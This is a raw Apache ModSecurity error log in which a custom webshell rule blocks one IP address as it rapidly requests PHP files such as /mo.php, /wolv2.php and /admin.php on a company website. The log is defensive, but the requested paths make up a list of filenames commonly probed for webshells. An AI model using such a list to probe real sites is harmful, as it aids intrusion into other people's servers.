[Fri Apr 03 01:38:45.558326 2026] [:error] [pid 25010:tid 25373] [client 20.215.208.34:60661] [client 20.215.208.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/akcc.php"] [unique_id "ac6ppY_KcjFQF5TuqTWsWwAAABg"]
[Fri Apr 03 01:38:46.108720 2026] [:error] [pid 25018:tid 25411] [client 20.215.208.34:63464] [client 20.215.208.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/mo.php"] [unique_id "ac6ppnupR6lXnAUzFGr6pgAAAEA"]
[Fri Apr 03 01:38:46.633639 2026] [:error] [pid 25018:tid 25415] [client 20.215.208.34:60643] [client 20.215.208.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/mo.php"] [unique_id "ac6ppnupR6lXnAUzFGr6pwAAAEM"]
[Fri Apr 03 01:38:47.182725 2026] [:error] [pid 25470:tid 25490] [client 20.215.208.34:61843] [client 20.215.208.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/mo.php"] [unique_id "ac6pp3hROcck6_9HYygd1wAAANI"]
[Fri Apr 03 01:38:47.698705 2026] [:error] [pid 25470:tid 25476] [client 20.215.208.34:60660] [client 20.215.208.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/mo.php"] [unique_id "ac6pp3hROcck6_9HYygd2gAAAMQ"]
[Fri Apr 03 01:38:48.214590 2026] [:error] [pid 25470:tid 25480] [client 20.215.208.34:63460] [client 20.215.208.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/doc.php"] [unique_id "ac6pqHhROcck6_9HYygd3AAAAMg"]
[Fri Apr 03 01:38:48.728745 2026] [:error] [pid 25035:tid 25465] [client 20.215.208.34:61882] [client 20.215.208.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/doc.php"] [unique_id "ac6pqBhR292toNOkLqG5YQAAAJc"]
[Fri Apr 03 01:38:49.246995 2026] [:error] [pid 25018:tid 25427] [client 20.215.208.34:59911] [client 20.215.208.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/doc.php"] [unique_id "ac6pqXupR6lXnAUzFGr6rAAAAE4"]
[Fri Apr 03 01:38:49.795443 2026] [:error] [pid 25470:tid 25473] [client 20.215.208.34:64966] [client 20.215.208.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/doc.php"] [unique_id "ac6pqXhROcck6_9HYygd5gAAAME"]
[Fri Apr 03 01:38:50.309641 2026] [:error] [pid 25470:tid 25489] [client 20.215.208.34:63415] [client 20.215.208.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/inde.php"] [unique_id "ac6pqnhROcck6_9HYygd7AAAANE"]
[Fri Apr 03 01:38:50.902228 2026] [:error] [pid 25010:tid 25367] [client 20.215.208.34:59914] [client 20.215.208.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/inde.php"] [unique_id "ac6pqo_KcjFQF5TuqTWsZgAAABI"]
[Fri Apr 03 01:38:51.419538 2026] [:error] [pid 25035:tid 25454] [client 20.215.208.34:65002] [client 20.215.208.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/inde.php"] [unique_id "ac6pqxhR292toNOkLqG5bAAAAIw"]
[Fri Apr 03 01:38:51.941442 2026] [:error] [pid 25018:tid 25433] [client 20.215.208.34:59951] [client 20.215.208.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/inde.php"] [unique_id "ac6pq3upR6lXnAUzFGr6sAAAAFQ"]
[Fri Apr 03 01:38:52.459778 2026] [:error] [pid 25470:tid 25474] [client 20.215.208.34:63375] [client 20.215.208.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ioxi-o.php"] [unique_id "ac6prHhROcck6_9HYygd9QAAAMI"]
[Fri Apr 03 01:38:53.008005 2026] [:error] [pid 25470:tid 25480] [client 20.215.208.34:60580] [client 20.215.208.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ioxi-o.php"] [unique_id "ac6prXhROcck6_9HYygd-AAAAMg"]
[Fri Apr 03 01:38:53.579912 2026] [:error] [pid 25035:tid 25459] [client 20.215.208.34:63409] [client 20.215.208.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ioxi-o.php"] [unique_id "ac6prRhR292toNOkLqG5bwAAAJE"]
[Fri Apr 03 01:38:54.150214 2026] [:error] [pid 25470:tid 25473] [client 20.215.208.34:60633] [client 20.215.208.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ioxi-o.php"] [unique_id "ac6prnhROcck6_9HYygd_gAAAME"]
[Fri Apr 03 01:38:54.669561 2026] [:error] [pid 25010:tid 25371] [client 20.215.208.34:61829] [client 20.215.208.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/simple.php"] [unique_id "ac6pro_KcjFQF5TuqTWsfgAAABY"]
[Fri Apr 03 01:38:55.202101 2026] [:error] [pid 25010:tid 25359] [client 20.215.208.34:63381] [client 20.215.208.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/simple.php"] [unique_id "ac6pr4_KcjFQF5TuqTWsgQAAAAs"]
[Fri Apr 03 01:38:55.773700 2026] [:error] [pid 25470:tid 25482] [client 20.215.208.34:63422] [client 20.215.208.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/simple.php"] [unique_id "ac6pr3hROcck6_9HYygeBQAAAMo"]
[Fri Apr 03 01:38:56.374611 2026] [:error] [pid 25470:tid 25485] [client 20.215.208.34:60610] [client 20.215.208.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/simple.php"] [unique_id "ac6psHhROcck6_9HYygeCgAAAM0"]
[Fri Apr 03 01:38:56.953837 2026] [:error] [pid 25010:tid 25355] [client 20.215.208.34:61924] [client 20.215.208.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/zxin.php"] [unique_id "ac6psI_KcjFQF5TuqTWsmgAAAAc"]
[Fri Apr 03 01:38:57.550465 2026] [:error] [pid 25035:tid 25446] [client 20.215.208.34:61947] [client 20.215.208.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/zxin.php"] [unique_id "ac6psRhR292toNOkLqG5dAAAAIQ"]
[Fri Apr 03 01:38:58.135670 2026] [:error] [pid 25035:tid 25453] [client 20.215.208.34:60620] [client 20.215.208.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/zxin.php"] [unique_id "ac6pshhR292toNOkLqG5dgAAAIs"]
[Fri Apr 03 01:38:58.665490 2026] [:error] [pid 25035:tid 25462] [client 20.215.208.34:63471] [client 20.215.208.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/zxin.php"] [unique_id "ac6pshhR292toNOkLqG5eAAAAJQ"]
[Fri Apr 03 01:38:59.210388 2026] [:error] [pid 25035:tid 25443] [client 20.215.208.34:63474] [client 20.215.208.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/index/function.php"] [unique_id "ac6psxhR292toNOkLqG5ewAAAIE"]
[Fri Apr 03 01:38:59.771955 2026] [:error] [pid 25470:tid 25483] [client 20.215.208.34:59968] [client 20.215.208.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/index/function.php"] [unique_id "ac6ps3hROcck6_9HYygeHQAAAMs"]
[Fri Apr 03 01:39:00.306565 2026] [:error] [pid 25470:tid 25486] [client 20.215.208.34:61942] [client 20.215.208.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/index/function.php"] [unique_id "ac6ptHhROcck6_9HYygeHwAAAM4"]
[Fri Apr 03 01:39:00.853495 2026] [:error] [pid 25470:tid 25495] [client 20.215.208.34:63431] [client 20.215.208.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/index/function.php"] [unique_id "ac6ptHhROcck6_9HYygeJwAAANc"]
[Fri Apr 03 01:39:01.419927 2026] [:error] [pid 25018:tid 25426] [client 20.215.208.34:60638] [client 20.215.208.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/NewFile.php"] [unique_id "ac6ptXupR6lXnAUzFGr6uwAAAE0"]
[Fri Apr 03 01:39:01.941700 2026] [:error] [pid 25470:tid 25477] [client 20.215.208.34:61855] [client 20.215.208.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/NewFile.php"] [unique_id "ac6ptXhROcck6_9HYygeKwAAAMU"]
[Fri Apr 03 01:39:02.507665 2026] [:error] [pid 25470:tid 25496] [client 20.215.208.34:60629] [client 20.215.208.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/NewFile.php"] [unique_id "ac6ptnhROcck6_9HYygeMgAAANg"]
[Fri Apr 03 01:39:03.074746 2026] [:error] [pid 25035:tid 25463] [client 20.215.208.34:63445] [client 20.215.208.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/NewFile.php"] [unique_id "ac6ptxhR292toNOkLqG5gwAAAJU"]
[Fri Apr 03 01:39:03.601199 2026] [:error] [pid 25470:tid 25479] [client 20.215.208.34:61827] [client 20.215.208.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/aa.php"] [unique_id "ac6pt3hROcck6_9HYygeOwAAAMc"]
[Fri Apr 03 01:39:04.120636 2026] [:error] [pid 25010:tid 25371] [client 20.215.208.34:63443] [client 20.215.208.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/aa.php"] [unique_id "ac6puI_KcjFQF5TuqTWs6AAAABY"]
[Fri Apr 03 01:39:04.639941 2026] [:error] [pid 25010:tid 25370] [client 20.215.208.34:61857] [client 20.215.208.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/aa.php"] [unique_id "ac6puI_KcjFQF5TuqTWs6wAAABU"]
[Fri Apr 03 01:39:05.353624 2026] [:error] [pid 25010:tid 25362] [client 20.215.208.34:64916] [client 20.215.208.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/aa.php"] [unique_id "ac6puY_KcjFQF5TuqTWs7QAAAA0"]
[Fri Apr 03 01:39:05.934675 2026] [:error] [pid 25010:tid 25365] [client 20.215.208.34:63365] [client 20.215.208.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wolv2.php"] [unique_id "ac6puY_KcjFQF5TuqTWs8AAAABA"]
[Fri Apr 03 01:39:06.485983 2026] [:error] [pid 25010:tid 25347] [client 20.215.208.34:59986] [client 20.215.208.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wolv2.php"] [unique_id "ac6puo_KcjFQF5TuqTWs8gAAAAA"]
[Fri Apr 03 01:39:07.001836 2026] [:error] [pid 25470:tid 25495] [client 20.215.208.34:61936] [client 20.215.208.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wolv2.php"] [unique_id "ac6pu3hROcck6_9HYygeQwAAANc"]
[Fri Apr 03 01:39:07.625295 2026] [:error] [pid 25035:tid 25466] [client 20.215.208.34:63475] [client 20.215.208.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wolv2.php"] [unique_id "ac6puxhR292toNOkLqG5jQAAAJg"]
[Fri Apr 03 01:39:08.176158 2026] [:error] [pid 25018:tid 25427] [client 20.215.208.34:61859] [client 20.215.208.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/geck.php"] [unique_id "ac6pvHupR6lXnAUzFGr6ywAAAE4"]
[Fri Apr 03 01:39:08.701859 2026] [:error] [pid 25010:tid 25353] [client 20.215.208.34:60010] [client 20.215.208.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/geck.php"] [unique_id "ac6pvI_KcjFQF5TuqTWs_AAAAAU"]
[Fri Apr 03 01:39:09.233550 2026] [:error] [pid 25470:tid 25489] [client 20.215.208.34:64913] [client 20.215.208.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/geck.php"] [unique_id "ac6pvXhROcck6_9HYygeRwAAANE"]
[Fri Apr 03 01:39:09.778569 2026] [:error] [pid 25018:tid 25433] [client 20.215.208.34:63439] [client 20.215.208.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/geck.php"] [unique_id "ac6pvXupR6lXnAUzFGr60QAAAFQ"]
[Fri Apr 03 01:39:10.310885 2026] [:error] [pid 25010:tid 25358] [client 20.215.208.34:59962] [client 20.215.208.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xtt.php"] [unique_id "ac6pvo_KcjFQF5TuqTWtAwAAAAo"]
[Fri Apr 03 01:39:10.830573 2026] [:error] [pid 25035:tid 25455] [client 20.215.208.34:61862] [client 20.215.208.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xtt.php"] [unique_id "ac6pvhhR292toNOkLqG5mQAAAI0"]
[Fri Apr 03 01:39:11.380583 2026] [:error] [pid 25035:tid 25442] [client 20.215.208.34:60555] [client 20.215.208.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xtt.php"] [unique_id "ac6pvxhR292toNOkLqG5nAAAAIA"]
[Fri Apr 03 01:39:11.914041 2026] [:error] [pid 25010:tid 25357] [client 20.215.208.34:64965] [client 20.215.208.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xtt.php"] [unique_id "ac6pv4_KcjFQF5TuqTWtBgAAAAk"]
[Fri Apr 03 01:39:12.667704 2026] [:error] [pid 25010:tid 25362] [client 20.215.208.34:60565] [client 20.215.208.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/admin.php"] [unique_id "ac6pwI_KcjFQF5TuqTWtCQAAAA0"]
[Fri Apr 03 01:39:13.313100 2026] [:error] [pid 25010:tid 25369] [client 20.215.208.34:60006] [client 20.215.208.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/admin.php"] [unique_id "ac6pwY_KcjFQF5TuqTWtEgAAABQ"]
[Fri Apr 03 01:39:14.067782 2026] [:error] [pid 25470:tid 25487] [client 20.215.208.34:59983] [client 20.215.208.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/admin.php"] [unique_id "ac6pwnhROcck6_9HYygeXwAAAM8"]
[Fri Apr 03 01:39:14.738997 2026] [:error] [pid 25470:tid 25474] [client 20.215.208.34:63360] [client 20.215.208.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/admin.php"] [unique_id "ac6pwnhROcck6_9HYygeZQAAAMI"]
[Fri Apr 03 01:39:15.272217 2026] [:error] [pid 25010:tid 25349] [client 20.215.208.34:61854] [client 20.215.208.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/system.php"] [unique_id "ac6pw4_KcjFQF5TuqTWtHwAAAAI"]
[Fri Apr 03 01:39:15.912942 2026] [:error] [pid 25470:tid 25477] [client 20.215.208.34:63429] [client 20.215.208.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/system.php"] [unique_id "ac6pw3hROcck6_9HYygebwAAAMU"]
[Fri Apr 03 01:39:16.489471 2026] [:error] [pid 25010:tid 25348] [client 20.215.208.34:63478] [client 20.215.208.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/system.php"] [unique_id "ac6pxI_KcjFQF5TuqTWtJwAAAAE"]
